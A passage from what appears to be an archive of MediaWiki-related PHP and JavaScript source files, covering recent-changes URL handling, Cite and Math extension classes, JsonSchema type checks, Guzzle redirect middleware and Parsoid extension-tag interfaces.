 *  title normalization to separate title subpage/parts into the target= url
 *  parameter
 */
var UriProcessor = function MwRcfiltersController( filtersModel, config ) {
	config = config || {};
	this.filtersModel = filtersModel;

	this.normalizeTarget = !!config.normalizeTarget;
};

/* Initialization */
OO.initClass( UriProcessor );

/* Static methods */

/**
 * Replace the url history through replaceState
 *
 * @param {mw.Uri} newUri New URI to replace
 */
UriProcessor.static.replaceState = function ( newUri ) {
	window.history.replaceState(
		{ tag: 'rcfilters' },
		document.title,
		newUri.toString()
	);
};

/**
 * Push the url to history through pushState
 *
 * @param {mw.Uri} newUri New URI to push
 */
UriProcessor.static.pushState = function ( newUri ) {
	window.history.pushState(
		{ tag: 'rcfilters' },
		document.title,
		newUri.toString()
	);
};

/* Methods */

/**
 * Get the version that this URL query is tagged with.
 *
 * @param {Object} [uriQuery] URI query
 * @return {number} URL version
 */
UriProcessor.prototype.getVersion = function ( uriQuery ) {
	uriQuery = uriQuery || new mw.Uri().query;

	return Number( uriQuery.urlversion || 1 );
};

/**
 * Get an updated mw.Uri object based on the model state
 *
 * @param {mw.Uri} [uri] An external URI to build the new uri
 *  with. This is mainly for tests, to be able to supply external query
 *  parameters and make sure they are retained.
 * @return {mw.Uri} Updated Uri
 */
UriProcessor.prototype.getUpdatedUri = function ( uri ) {
	var normalizedUri = this._normalizeTargetInUri( uri || new mw.Uri() ),
		unrecognizedParams = this.getUnrecognizedParams( normalizedUri.query );

	normalizedUri.query = this.filtersModel.getMinimizedParamRepresentation(
		$.extend(
			true,
			{},
			normalizedUri.query,
			// The representation must be expanded so it can
			// override the uri query params but we then output
			// a minimized version for the entire URI representation
			// for the method
			this.filtersModel.getExpandedParamRepresentation()
		)
	);

	// Reapply unrecognized params and url version
	normalizedUri.query = $.extend(
		true,
		{},
		normalizedUri.query,
		unrecognizedParams,
		{ urlversion: '2' }
	);

	return normalizedUri;
};

/**
 * Move the subpage to the target parameter
 *
 * @param {mw.Uri} uri
 * @return {mw.Uri}
 * @private
 */
UriProcessor.prototype._normalizeTargetInUri = function ( uri ) {
	var parts,
		// matches [/wiki/]SpecialNS:RCL/[Namespace:]Title/Subpage/Subsubpage/etc
		// eslint-disable-next-line security/detect-unsafe-regex
		re = /^((?:\/.+?\/)?.*?:.*?)\/(.*)$/;

	if ( !this.normalizeTarget ) {
		return uri;
	}

	// target in title param
	if ( uri.query.title ) {
		parts = uri.query.title.match( re );
		if ( parts ) {
			uri.query.title = parts[ 1 ];
			uri.query.target = parts[ 2 ];
		}
	}

	// target in path
	parts = mw.Uri.decode( uri.path ).match( re );
	if ( parts ) {
		uri.path = parts[ 1 ];
		uri.query.target = parts[ 2 ];
	}

	return uri;
};

/**
 * Get an object representing given parameters that are unrecognized by the model
 *
 * @param  {Object} params Full params object
 * @return {Object} Unrecognized params
 */
UriProcessor.prototype.getUnrecognizedParams = function ( params ) {
	// Start with full representation
	var givenParamNames = Object.keys( params ),
		unrecognizedParams = $.extend( true, {}, params );

	// Extract unrecognized parameters
	Object.keys( this.filtersModel.getEmptyParameterState() ).forEach( function ( paramName ) {
		// Remove recognized params
		if ( givenParamNames.indexOf( paramName ) > -1 ) {
			delete unrecognizedParams[ paramName ];
		}
	} );

	return unrecognizedParams;
};

/**
 * Update the URL of the page to reflect current filters
 *
 * This should not be called directly from outside the controller.
 * If an action requires changing the URL, it should either use the
 * highlighting actions below, or call #updateChangesList which does
 * the uri corrections already.
 *
 * @param {Object} [params] Extra parameters to add to the API call
 */
UriProcessor.prototype.updateURL = function ( params ) {
	var currentUri = new mw.Uri(),
		updatedUri = this.getUpdatedUri();

	updatedUri.extend( params || {} );

	if (
		this.getVersion( currentUri.query ) !== 2 ||
		this.isNewState( currentUri.query, updatedUri.query )
	) {
		this.constructor.static.replaceState( updatedUri );
	}
};

/**
 * Update the filters model based on the URI query
 * This happens on initialization, and from this moment on,
 * we consider the system synchronized, and the model serves
 * as the source of truth for the URL.
 *
 * This methods should only be called once on initialization.
 * After initialization, the model updates the URL, not the
 * other way around.
 *
 * @param {Object} [uriQuery] URI query
 */
UriProcessor.prototype.updateModelBasedOnQuery = function ( uriQuery ) {
	uriQuery = uriQuery || this._normalizeTargetInUri( new mw.Uri() ).query;
	this.filtersModel.updateStateFromParams(
		this._getNormalizedQueryParams( uriQuery )
	);
};

/**
 * Compare two URI queries to decide whether they are different
 * enough to represent a new state.
 *
 * @param {Object} currentUriQuery Current Uri query
 * @param {Object} updatedUriQuery Updated Uri query
 * @return {boolean} This is a new state
 */
UriProcessor.prototype.isNewState = function ( currentUriQuery, updatedUriQuery ) {
	var currentParamState, updatedParamState,
		notEquivalent = function ( obj1, obj2 ) {
			var keys = Object.keys( obj1 ).concat( Object.keys( obj2 ) );
			return keys.some( function ( key ) {
				return obj1[ key ] != obj2[ key ]; // eslint-disable-line eqeqeq
			} );
		};

	// Compare states instead of parameters
	// This will allow us to always have a proper check of whether
	// the requested new url is one to change or not, regardless of
	// actual parameter visibility/representation in the URL
	currentParamState = $.extend(
		true,
		{},
		this.filtersModel.getMinimizedParamRepresentation( currentUriQuery ),
		this.getUnrecognizedParams( currentUriQuery )
	);
	updatedParamState = $.extend(
		true,
		{},
		this.filtersModel.getMinimizedParamRepresentation( updatedUriQuery ),
		this.getUnrecognizedParams( updatedUriQuery )
	);

	return notEquivalent( currentParamState, updatedParamState );
};

/**
 * Check whether the given query has parameters that are
 * recognized as parameters we should load the system with
 *
 * @param {mw.Uri} [uriQuery] Given URI query
 * @return {boolean} Query contains valid recognized parameters
 */
UriProcessor.prototype.doesQueryContainRecognizedParams = function ( uriQuery ) {
	var anyValidInUrl,
		validParameterNames = Object.keys( this.filtersModel.getEmptyParameterState() );

	uriQuery = uriQuery || new mw.Uri().query;

	anyValidInUrl = Object.keys( uriQuery ).some( function ( parameter ) {
		return validParameterNames.indexOf( parameter ) > -1;
	} );

	// URL version 2 is allowed to be empty or within nonrecognized params
	return anyValidInUrl || this.getVersion( uriQuery ) === 2;
};

/**
 * Get the adjusted URI params based on the url version
 * If the urlversion is not 2, the parameters are merged with
 * the model's defaults.
 * Always merge in the hidden parameter defaults.
 *
 * @private
 * @param {Object} uriQuery Current URI query
 * @return {Object} Normalized parameters
 */
UriProcessor.prototype._getNormalizedQueryParams = function ( uriQuery ) {
	// Check whether we are dealing with urlversion=2
	// If we are, we do not merge the initial request with
	// defaults. Not having urlversion=2 means we need to
	// reproduce the server-side request and merge the
	// requested parameters (or starting state) with the
	// wiki default.
	// Any subsequent change of the URL through the RCFilters
	// system will receive 'urlversion=2'
	var base = this.getVersion( uriQuery ) === 2 ?
		{} :
		this.filtersModel.getDefaultParams();

	return $.extend(
		true,
		{},
		this.filtersModel.getMinimizedParamRepresentation(
			$.extend( true, {}, base, uriQuery )
		),
		{ urlversion: '2' }
	);
};

module.exports = UriProcessor;
Hooks/CiteParserTagHooks.php000066600000004033151335056200012045 0ustar00<?php

namespace Cite\Hooks;

use Cite\Cite;
use Parser;
use PPFrame;

/**
 * @license GPL-2.0-or-later
 */
class CiteParserTagHooks {

	/**
	 * Enables the two <ref> and <references> tags.
	 *
	 * @param Parser $parser
	 */
	public static function register( Parser $parser ) {
		$parser->setHook( 'ref', [ __CLASS__, 'ref' ] );
		$parser->setHook( 'references', [ __CLASS__, 'references' ] );
	}

	/**
	 * Parser hook for the <ref> tag.
	 *
	 * @param ?string $text Raw, untrimmed wikitext content of the <ref> tag, if any
	 * @param string[] $argv
	 * @param Parser $parser
	 * @param PPFrame $frame
	 *
	 * @return string HTML
	 */
	public static function ref(
		?string $text,
		array $argv,
		Parser $parser,
		PPFrame $frame
	): string {
		$cite = self::citeForParser( $parser );
		$result = $cite->ref( $parser, $text, $argv );

		if ( $result === null ) {
			return htmlspecialchars( "<ref>$text</ref>" );
		}

		$parserOutput = $parser->getOutput();
		$parserOutput->addModules( [ 'ext.cite.ux-enhancements' ] );
		$parserOutput->addModuleStyles( [ 'ext.cite.styles' ] );

		$frame->setVolatile();
		return $result;
	}

	/**
	 * Parser hook for the <references> tag.
	 *
	 * @param ?string $text Raw, untrimmed wikitext content of the <references> tag, if any
	 * @param string[] $argv
	 * @param Parser $parser
	 * @param PPFrame $frame
	 *
	 * @return string HTML
	 */
	public static function references(
		?string $text,
		array $argv,
		Parser $parser,
		PPFrame $frame
	): string {
		$cite = self::citeForParser( $parser );
		$result = $cite->references( $parser, $text, $argv );

		if ( $result === null ) {
			return htmlspecialchars( $text === null
				? "<references/>"
				: "<references>$text</references>"
			);
		}

		$frame->setVolatile();
		return $result;
	}

	/**
	 * Get or create Cite state for this parser.
	 *
	 * @param Parser $parser
	 *
	 * @return Cite
	 */
	private static function citeForParser( Parser $parser ): Cite {
		if ( !isset( $parser->extCite ) ) {
			$parser->extCite = new Cite( $parser );
		}
		return $parser->extCite;
	}

}
TexVC/MMLmappings/TexConstants/Tag.php000066600000001020151335056220013601 0ustar00<?php

namespace MediaWiki\Extension\Math\TexVC\MMLmappings\TexConstants;

/**
 * This class contains the string how tags are written
 * Changing this will remove mathjax specifics.
 */
class Tag {
	public const ALIGN = "data-mjx-script-align";
	public const ALTERNATE = "data-mjx-alternate";
	public const SCRIPTTAG = "data-mjx-pseudoscript";

	// Example exchange value: "texClass"
	public const CLASSTAG = "data-mjx-texclass";

	// This is some tag in addition to mathvariant
	public const MJXVARIANT = "data-mjx-variant";
}
JsonSchema/Constraints/TypeConstraint.php000066600000017461151335067360014632 0ustar00<?php

/*
 * This file is part of the JsonSchema package.
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace JsonSchema\Constraints;

use JsonSchema\Entity\JsonPointer;
use JsonSchema\Exception\InvalidArgumentException;
use UnexpectedValueException as StandardUnexpectedValueException;

/**
 * The TypeConstraint Constraints, validates an element against a given type
 *
 * @author Robert Schönthal <seroscho@googlemail.com>
 * @author Bruno Prieto Reis <bruno.p.reis@gmail.com>
 */
class TypeConstraint extends Constraint
{
    /**
     * @var array|string[] type wordings for validation error messages
     */
    public static $wording = array(
        'integer' => 'an integer',
        'number'  => 'a number',
        'boolean' => 'a boolean',
        'object'  => 'an object',
        'array'   => 'an array',
        'string'  => 'a string',
        'null'    => 'a null',
        'any'     => null, // validation of 'any' is always true so is not needed in message wording
        0         => null, // validation of a false-y value is always true, so not needed as well
    );

    /**
     * {@inheritdoc}
     */
    public function check(&$value = null, $schema = null, JsonPointer $path = null, $i = null)
    {
        $type = isset($schema->type) ? $schema->type : null;
        $isValid = false;
        $wording = array();

        if (is_array($type)) {
            $this->validateTypesArray($value, $type, $wording, $isValid, $path);
        } elseif (is_object($type)) {
            $this->checkUndefined($value, $type, $path);

            return;
        } else {
            $isValid = $this->validateType($value, $type);
        }

        if ($isValid === false) {
            if (!is_array($type)) {
                $this->validateTypeNameWording($type);
                $wording[] = self::$wording[$type];
            }
            $this->addError($path, ucwords(gettype($value)) . ' value found, but ' .
                $this->implodeWith($wording, ', ', 'or') . ' is required', 'type');
        }
    }

    /**
     * Validates the given $value against the array of types in $type. Sets the value
     * of $isValid to true, if at least one $type mateches the type of $value or the value
     * passed as $isValid is already true.
     *
     * @param mixed $value             Value to validate
     * @param array $type              TypeConstraints to check agains
     * @param array $validTypesWording An array of wordings of the valid types of the array $type
     * @param bool  $isValid           The current validation value
     * @param $path
     */
    protected function validateTypesArray(&$value, array $type, &$validTypesWording, &$isValid, $path)
    {
        foreach ($type as $tp) {
            // $tp can be an object, if it's a schema instead of a simple type, validate it
            // with a new type constraint
            if (is_object($tp)) {
                if (!$isValid) {
                    $validator = $this->factory->createInstanceFor('type');
                    $subSchema = new \stdClass();
                    $subSchema->type = $tp;
                    $validator->check($value, $subSchema, $path, null);
                    $error = $validator->getErrors();
                    $isValid = !(bool) $error;
                    $validTypesWording[] = self::$wording['object'];
                }
            } else {
                $this->validateTypeNameWording($tp);
                $validTypesWording[] = self::$wording[$tp];
                if (!$isValid) {
                    $isValid = $this->validateType($value, $tp);
                }
            }
        }
    }

    /**
     * Implodes the given array like implode() with turned around parameters and with the
     * difference, that, if $listEnd isn't false, the last element delimiter is $listEnd instead of
     * $delimiter.
     *
     * @param array  $elements  The elements to implode
     * @param string $delimiter The delimiter to use
     * @param bool   $listEnd   The last delimiter to use (defaults to $delimiter)
     *
     * @return string
     */
    protected function implodeWith(array $elements, $delimiter = ', ', $listEnd = false)
    {
        if ($listEnd === false || !isset($elements[1])) {
            return implode($delimiter, $elements);
        }
        $lastElement  = array_slice($elements, -1);
        $firsElements = join($delimiter, array_slice($elements, 0, -1));
        $implodedElements = array_merge(array($firsElements), $lastElement);

        return join(" $listEnd ", $implodedElements);
    }

    /**
     * Validates the given $type, if there's an associated self::$wording. If not, throws an
     * exception.
     *
     * @param string $type The type to validate
     *
     * @throws StandardUnexpectedValueException
     */
    protected function validateTypeNameWording($type)
    {
        if (!array_key_exists($type, self::$wording)) {
            throw new StandardUnexpectedValueException(
                sprintf(
                    'No wording for %s available, expected wordings are: [%s]',
                    var_export($type, true),
                    implode(', ', array_filter(self::$wording)))
            );
        }
    }

    /**
     * Verifies that a given value is of a certain type
     *
     * @param mixed  $value Value to validate
     * @param string $type  TypeConstraint to check against
     *
     * @throws InvalidArgumentException
     *
     * @return bool
     */
    protected function validateType(&$value, $type)
    {
        //mostly the case for inline schema
        if (!$type) {
            return true;
        }

        if ('any' === $type) {
            return true;
        }

        if ('object' === $type) {
            return $this->getTypeCheck()->isObject($value);
        }

        if ('array' === $type) {
            return $this->getTypeCheck()->isArray($value);
        }

        $coerce = $this->factory->getConfig(Constraint::CHECK_MODE_COERCE_TYPES);

        if ('integer' === $type) {
            if ($coerce) {
                $value = $this->toInteger($value);
            }

            return is_int($value);
        }

        if ('number' === $type) {
            if ($coerce) {
                $value = $this->toNumber($value);
            }

            return is_numeric($value) && !is_string($value);
        }

        if ('boolean' === $type) {
            if ($coerce) {
                $value = $this->toBoolean($value);
            }

            return is_bool($value);
        }

        if ('string' === $type) {
            return is_string($value);
        }

        if ('email' === $type) {
            return is_string($value);
        }

        if ('null' === $type) {
            return is_null($value);
        }

        throw new InvalidArgumentException((is_object($value) ? 'object' : $value) . ' is an invalid type for ' . $type);
    }

    /**
     * Converts a value to boolean. For example, "true" becomes true.
     *
     * @param $value The value to convert to boolean
     *
     * @return bool|mixed
     */
    protected function toBoolean($value)
    {
        if ($value === 'true') {
            return true;
        }

        if ($value === 'false') {
            return false;
        }

        return $value;
    }

    /**
     * Converts a numeric string to a number. For example, "4" becomes 4.
     *
     * @param mixed $value the value to convert to a number
     *
     * @return int|float|mixed
     */
    protected function toNumber($value)
    {
        if (is_numeric($value)) {
            return $value + 0; // cast to number
        }

        return $value;
    }

    protected function toInteger($value)
    {
        if (is_numeric($value) && (int) $value == $value) {
            return (int) $value; // cast to number
        }

        return $value;
    }
}
JsonSchema/Constraints/TypeCheck/TypeCheckInterface.php000066600000000641151335067360017213 0ustar00<?php

namespace JsonSchema\Constraints\TypeCheck;

interface TypeCheckInterface
{
    public static function isObject($value);

    public static function isArray($value);

    public static function propertyGet($value, $property);

    public static function propertySet(&$value, $property, $data);

    public static function propertyExists($value, $property);

    public static function propertyCount($value);
}
JsonSchema/Constraints/TypeCheck/LooseTypeCheck.php000066600000003026151335067360016374 0ustar00<?php

namespace JsonSchema\Constraints\TypeCheck;

class LooseTypeCheck implements TypeCheckInterface
{
    public static function isObject($value)
    {
        return
            is_object($value) ||
            (is_array($value) && (count($value) == 0 || self::isAssociativeArray($value)));
    }

    public static function isArray($value)
    {
        return
            is_array($value) &&
            (count($value) == 0 || !self::isAssociativeArray($value));
    }

    public static function propertyGet($value, $property)
    {
        if (is_object($value)) {
            return $value->{$property};
        }

        return $value[$property];
    }

    public static function propertySet(&$value, $property, $data)
    {
        if (is_object($value)) {
            $value->{$property} = $data;
        } else {
            $value[$property] = $data;
        }
    }

    public static function propertyExists($value, $property)
    {
        if (is_object($value)) {
            return property_exists($value, $property);
        }

        return array_key_exists($property, $value);
    }

    public static function propertyCount($value)
    {
        if (is_object($value)) {
            return count(get_object_vars($value));
        }

        return count($value);
    }

    /**
     * Check if the provided array is associative or not
     *
     * @param array $arr
     *
     * @return bool
     */
    private static function isAssociativeArray($arr)
    {
        return array_keys($arr) !== range(0, count($arr) - 1);
    }
}
JsonSchema/Constraints/TypeCheck/StrictTypeCheck.php000066600000001453151335067360016565 0ustar00<?php

namespace JsonSchema\Constraints\TypeCheck;

class StrictTypeCheck implements TypeCheckInterface
{
    public static function isObject($value)
    {
        return is_object($value);
    }

    public static function isArray($value)
    {
        return is_array($value);
    }

    public static function propertyGet($value, $property)
    {
        return $value->{$property};
    }

    public static function propertySet(&$value, $property, $data)
    {
        $value->{$property} = $data;
    }

    public static function propertyExists($value, $property)
    {
        return property_exists($value, $property);
    }

    public static function propertyCount($value)
    {
        if (!is_object($value)) {
            return 0;
        }

        return count(get_object_vars($value));
    }
}
JsonSchema/Exception/InvalidSchemaMediaTypeException.php000066600000000527151335067360017456 0ustar00<?php

/*
 * This file is part of the JsonSchema package.
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace JsonSchema\Exception;

/**
 * Wrapper for the InvalidSchemaMediaType
 */
class InvalidSchemaMediaTypeException extends RuntimeException
{
}
RedirectMiddleware.php000066600000017723151335070550011036 0ustar00<?php

namespace GuzzleHttp;

use GuzzleHttp\Exception\BadResponseException;
use GuzzleHttp\Exception\TooManyRedirectsException;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;

/**
 * Request redirect middleware.
 *
 * Apply this middleware like other middleware using
 * {@see \GuzzleHttp\Middleware::redirect()}.
 *
 * @final
 */
class RedirectMiddleware
{
    public const HISTORY_HEADER = 'X-Guzzle-Redirect-History';

    public const STATUS_HISTORY_HEADER = 'X-Guzzle-Redirect-Status-History';

    /**
     * @var array
     */
    public static $defaultSettings = [
        'max'             => 5,
        'protocols'       => ['http', 'https'],
        'strict'          => false,
        'referer'         => false,
        'track_redirects' => false,
    ];

    /**
     * @var callable(RequestInterface, array): PromiseInterface
     */
    private $nextHandler;

    /**
     * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke.
     */
    public function __construct(callable $nextHandler)
    {
        $this->nextHandler = $nextHandler;
    }

    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        $fn = $this->nextHandler;

        if (empty($options['allow_redirects'])) {
            return $fn($request, $options);
        }

        if ($options['allow_redirects'] === true) {
            $options['allow_redirects'] = self::$defaultSettings;
        } elseif (!\is_array($options['allow_redirects'])) {
            throw new \InvalidArgumentException('allow_redirects must be true, false, or array');
        } else {
            // Merge the default settings with the provided settings
            $options['allow_redirects'] += self::$defaultSettings;
        }

        if (empty($options['allow_redirects']['max'])) {
            return $fn($request, $options);
        }

        return $fn($request, $options)
            ->then(function (ResponseInterface $response) use ($request, $options) {
                return $this->checkRedirect($request, $options, $response);
            });
    }

    /**
     * @return ResponseInterface|PromiseInterface
     */
    public function checkRedirect(RequestInterface $request, array $options, ResponseInterface $response)
    {
        if (\strpos((string) $response->getStatusCode(), '3') !== 0
            || !$response->hasHeader('Location')
        ) {
            return $response;
        }

        $this->guardMax($request, $response, $options);
        $nextRequest = $this->modifyRequest($request, $options, $response);

        // If authorization is handled by curl, unset it if URI is cross-origin.
        if (Psr7\UriComparator::isCrossOrigin($request->getUri(), $nextRequest->getUri()) && defined('\CURLOPT_HTTPAUTH')) {
            unset(
                $options['curl'][\CURLOPT_HTTPAUTH],
                $options['curl'][\CURLOPT_USERPWD]
            );
        }

        if (isset($options['allow_redirects']['on_redirect'])) {
            ($options['allow_redirects']['on_redirect'])(
                $request,
                $response,
                $nextRequest->getUri()
            );
        }

        $promise = $this($nextRequest, $options);

        // Add headers to be able to track history of redirects.
        if (!empty($options['allow_redirects']['track_redirects'])) {
            return $this->withTracking(
                $promise,
                (string) $nextRequest->getUri(),
                $response->getStatusCode()
            );
        }

        return $promise;
    }

    /**
     * Enable tracking on promise.
     */
    private function withTracking(PromiseInterface $promise, string $uri, int $statusCode): PromiseInterface
    {
        return $promise->then(
            static function (ResponseInterface $response) use ($uri, $statusCode) {
                // Note that we are pushing to the front of the list as this
                // would be an earlier response than what is currently present
                // in the history header.
                $historyHeader = $response->getHeader(self::HISTORY_HEADER);
                $statusHeader = $response->getHeader(self::STATUS_HISTORY_HEADER);
                \array_unshift($historyHeader, $uri);
                \array_unshift($statusHeader, (string) $statusCode);

                return $response->withHeader(self::HISTORY_HEADER, $historyHeader)
                                ->withHeader(self::STATUS_HISTORY_HEADER, $statusHeader);
            }
        );
    }

    /**
     * Check for too many redirects.
     *
     * @throws TooManyRedirectsException Too many redirects.
     */
    private function guardMax(RequestInterface $request, ResponseInterface $response, array &$options): void
    {
        $current = $options['__redirect_count']
            ?? 0;
        $options['__redirect_count'] = $current + 1;
        $max = $options['allow_redirects']['max'];

        if ($options['__redirect_count'] > $max) {
            throw new TooManyRedirectsException("Will not follow more than {$max} redirects", $request, $response);
        }
    }

    public function modifyRequest(RequestInterface $request, array $options, ResponseInterface $response): RequestInterface
    {
        // Request modifications to apply.
        $modify = [];
        $protocols = $options['allow_redirects']['protocols'];

        // Use a GET request if this is an entity enclosing request and we are
        // not forcing RFC compliance, but rather emulating what all browsers
        // would do.
        $statusCode = $response->getStatusCode();
        if ($statusCode == 303 ||
            ($statusCode <= 302 && !$options['allow_redirects']['strict'])
        ) {
            $safeMethods = ['GET', 'HEAD', 'OPTIONS'];
            $requestMethod = $request->getMethod();

            $modify['method'] = in_array($requestMethod, $safeMethods) ? $requestMethod : 'GET';
            $modify['body'] = '';
        }

        $uri = self::redirectUri($request, $response, $protocols);
        if (isset($options['idn_conversion']) && ($options['idn_conversion'] !== false)) {
            $idnOptions = ($options['idn_conversion'] === true) ? \IDNA_DEFAULT : $options['idn_conversion'];
            $uri = Utils::idnUriConvert($uri, $idnOptions);
        }

        $modify['uri'] = $uri;
        Psr7\Message::rewindBody($request);

        // Add the Referer header if it is told to do so and only
        // add the header if we are not redirecting from https to http.
        if ($options['allow_redirects']['referer']
            && $modify['uri']->getScheme() === $request->getUri()->getScheme()
        ) {
            $uri = $request->getUri()->withUserInfo('');
            $modify['set_headers']['Referer'] = (string) $uri;
        } else {
            $modify['remove_headers'][] = 'Referer';
        }

        // Remove Authorization and Cookie headers if URI is cross-origin.
        if (Psr7\UriComparator::isCrossOrigin($request->getUri(), $modify['uri'])) {
            $modify['remove_headers'][] = 'Authorization';
            $modify['remove_headers'][] = 'Cookie';
        }

        return Psr7\Utils::modifyRequest($request, $modify);
    }

    /**
     * Set the appropriate URL on the request based on the location header.
     */
    private static function redirectUri(
        RequestInterface $request,
        ResponseInterface $response,
        array $protocols
    ): UriInterface {
        $location = Psr7\UriResolver::resolve(
            $request->getUri(),
            new Psr7\Uri($response->getHeaderLine('Location'))
        );

        // Ensure that the redirect URI is allowed based on the protocols.
        if (!\in_array($location->getScheme(), $protocols)) {
            throw new BadResponseException(\sprintf('Redirect URI, %s, does not use one of the allowed redirect protocols: %s', $location, \implode(', ', $protocols)), $request, $response);
        }

        return $location;
    }
}
Exception/TooManyRedirectsException.php000066600000000145151335070550014335 0ustar00<?php

namespace GuzzleHttp\Exception;

class TooManyRedirectsException extends RequestException
{
}
Ext/ExtensionTag.php000066600000002565151335074240010445 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\Ext;

use Wikimedia\Parsoid\Core\DomSourceRange;
use Wikimedia\Parsoid\NodeData\DataMw;
use Wikimedia\Parsoid\Tokens\Token;
use Wikimedia\Parsoid\Utils\Utils;

/**
 * Wrapper so that the internal token isn't exposed
 */
class ExtensionTag {

	/** @var Token */
	private $extToken;

	/**
	 * @param Token $extToken
	 */
	public function __construct( Token $extToken ) {
		$this->extToken = $extToken;
	}

	/**
	 * Return the name of the extension tag
	 * @return string
	 */
	public function getName(): string {
		return $this->extToken->getAttribute( 'name' );
	}

	/**
	 * Return the source offsets for this extension tag usage
	 * @return DomSourceRange|null
	 */
	public function getOffsets(): ?DomSourceRange {
		return $this->extToken->dataParsoid->extTagOffsets ?? null;
	}

	/**
	 * Return the full extension source
	 * @return string|null
	 */
	public function getSource(): ?string {
		if ( $this->extToken->hasAttribute( 'source' ) ) {
			return $this->extToken->getAttribute( 'source' );
		} else {
			return null;
		}
	}

	/**
	 * Is this extension tag self-closed?
	 * @return bool
	 */
	public function isSelfClosed(): bool {
		return !empty( $this->extToken->dataParsoid->selfClose );
	}

	/**
	 * @return DataMw
	 */
	public function getDefaultDataMw(): DataMw {
		return Utils::getExtArgInfo( $this->extToken );
	}
}
Ext/ExtensionTagHandler.php000066600000011103151335074240011727 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\Ext;

use Closure;
use Wikimedia\Parsoid\DOM\DocumentFragment;
use Wikimedia\Parsoid\DOM\Element;
use Wikimedia\Parsoid\DOM\Node;

/**
 * A Parsoid extension module may register handlers for one or more
 * extension tags. The only method which is generally
 * required by all extension tags is `sourceToDom` (but Translate
 * doesn't even implement that).  All other methods have default do-nothing
 * implementations; override them iff you wish to implement those
 * features.  Default implementations consistently return `false`
 * to indicate not-implemented (in some cases `null` would be a
 * valid return value, and in other cases `null` would be a likely
 * "accidental" return value which we'd like to catch and flag).
 */
abstract class ExtensionTagHandler {

	/**
	 * Convert an extension tag's content to DOM
	 * @param ParsoidExtensionAPI $extApi
	 * @param string $src Extension tag content
	 * @param array $extArgs Extension tag arguments
	 *   The extension tag arguments should be treated as opaque objects
	 *   and any necessary inspection should be handled through the API.
	 * @return DocumentFragment|false|null
	 *   `DocumentFragment` if returning some parsed content
	 *   `false` to fallback to the default handler for the content
	 *   `null` to drop the instance completely
	 */
	public function sourceToDom(
		ParsoidExtensionAPI $extApi, string $src, array $extArgs
	) {
		return false; /* Use default wrapper */
	}

	/**
	 * Extensions might embed HTML in attributes in their own custom
	 * representation (whether in data-mw or elsewhere).
	 *
	 * Core Parsoid will need a way to traverse such content. This method
	 * is a way for extension tag handlers to provide this functionality.
	 * Parsoid will only call this method if the tag's config sets the
	 * options['wt2html']['embedsHTMLInAttributes'] property to true.
	 *
	 * @param ParsoidExtensionAPI $extApi
	 * @param Element $elt The node whose data attributes need to be examined
	 * @param Closure $proc The processor that will process the embedded HTML
	 *        Signature: (string) -> string
	 *        This processor will be provided the HTML string as input
	 *        and is expected to return a possibly modified string.
	 */
	public function processAttributeEmbeddedHTML(
		ParsoidExtensionAPI $extApi, Element $elt, Closure $proc
	): void {
		// Nothing to do by default
	}

	/**
	 * Lint handler for this extension.
	 *
	 * If the extension has lints it wants to expose, it should use $extApi
	 * to register those lints. Alternatively, the extension might simply
	 * inspect its DOM and invoke the default lint handler on a DOM tree
	 * that it wants inspected. For example, <ref> nodes often only have
	 * a pointer (the id attribute) to its content, and is lint handler would
	 * look up the DOM tree and invoke the default lint handler on that tree.
	 *
	 * FIXME: There is probably no reason for the lint handler to return anything.
	 * The caller should simply proceed with the next sibling of $rootNode
	 * after the lint handler returns.
	 *
	 * @param ParsoidExtensionAPI $extApi
	 * @param Element $rootNode Extension content's root node
	 * @param callable $defaultHandler Default lint handler
	 *    - Default lint handler has signature $defaultHandler( Element $elt ): void
	 * @return Node|null|false Return `false` to indicate that this
	 *   extension has no special lint handler (the default lint handler will
	 *   be used.  Return `null` to indicate linting should proceed with the
	 *   next sibling.  (Deprecated) A `Node` can be returned to indicate
	 *   the point in the tree where linting should resume.
	 */
	public function lintHandler(
		ParsoidExtensionAPI $extApi, Element $rootNode, callable $defaultHandler
	) {
		/* Use default linter */
		return false;
	}

	/**
	 * Serialize a DOM node created by this extension to wikitext.
	 * @param ParsoidExtensionAPI $extApi
	 * @param Element $node
	 * @param bool $wrapperUnmodified
	 * @return string|false Return false to use the default serialization.
	 */
	public function domToWikitext(
		ParsoidExtensionAPI $extApi, Element $node, bool $wrapperUnmodified
	) {
		/* Use default serialization */
		return false;
	}

	/**
	 * XXX: Experimental
	 *
	 * Call $domDiff on corresponding substrees of $origNode and $editedNode
	 *
	 * @param ParsoidExtensionAPI $extApi
	 * @param callable $domDiff
	 * @param Element $origNode
	 * @param Element $editedNode
	 * @return bool
	 */
	public function diffHandler(
		ParsoidExtensionAPI $extApi, callable $domDiff, Element $origNode,
		Element $editedNode
	): bool {
		return false;
	}
}
Wt2Html/PipelineStage.php000066600000010150151335074240011314 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\Wt2Html;

use Generator;
use Wikimedia\Parsoid\Config\Env;
use Wikimedia\Parsoid\DOM\Document;
use Wikimedia\Parsoid\Tokens\SourceRange;
use Wikimedia\Parsoid\Wt2Html\TT\TokenHandler;

/**
 * This represents the abstract interface for a wt2html parsing pipeline stage
 * Currently there are 4 known pipeline stages:
 * - PEG Tokenizer
 * - Token Transform Manager
 * - HTML5 Tree Builder
 * - DOM Post Processor
 *
 * The Token Transform Manager could eventually go away and be directly replaced by
 * the very many token transformers that are represented by the abstract TokenHandler class.
 */

abstract class PipelineStage {
	/**
	 * Previous pipeline stage that generates input for this stage.
	 * Will be null for the first pipeline stage.
	 * @var ?PipelineStage
	 */
	protected $prevStage;

	/**
	 * This is primarily a debugging aid.
	 * @var int
	 */
	protected $pipelineId = -1;

	/** @var Env */
	protected $env = null;

	/** @var bool */
	protected $atTopLevel;

	/** @var Frame */
	protected $frame;

	/**
	 * @param Env $env
	 * @param ?PipelineStage $prevStage
	 */
	public function __construct( Env $env, ?PipelineStage $prevStage = null ) {
		$this->env = $env;
		$this->prevStage = $prevStage;
		// Defaults to false and resetState initializes it
		$this->atTopLevel = false;
	}

	/**
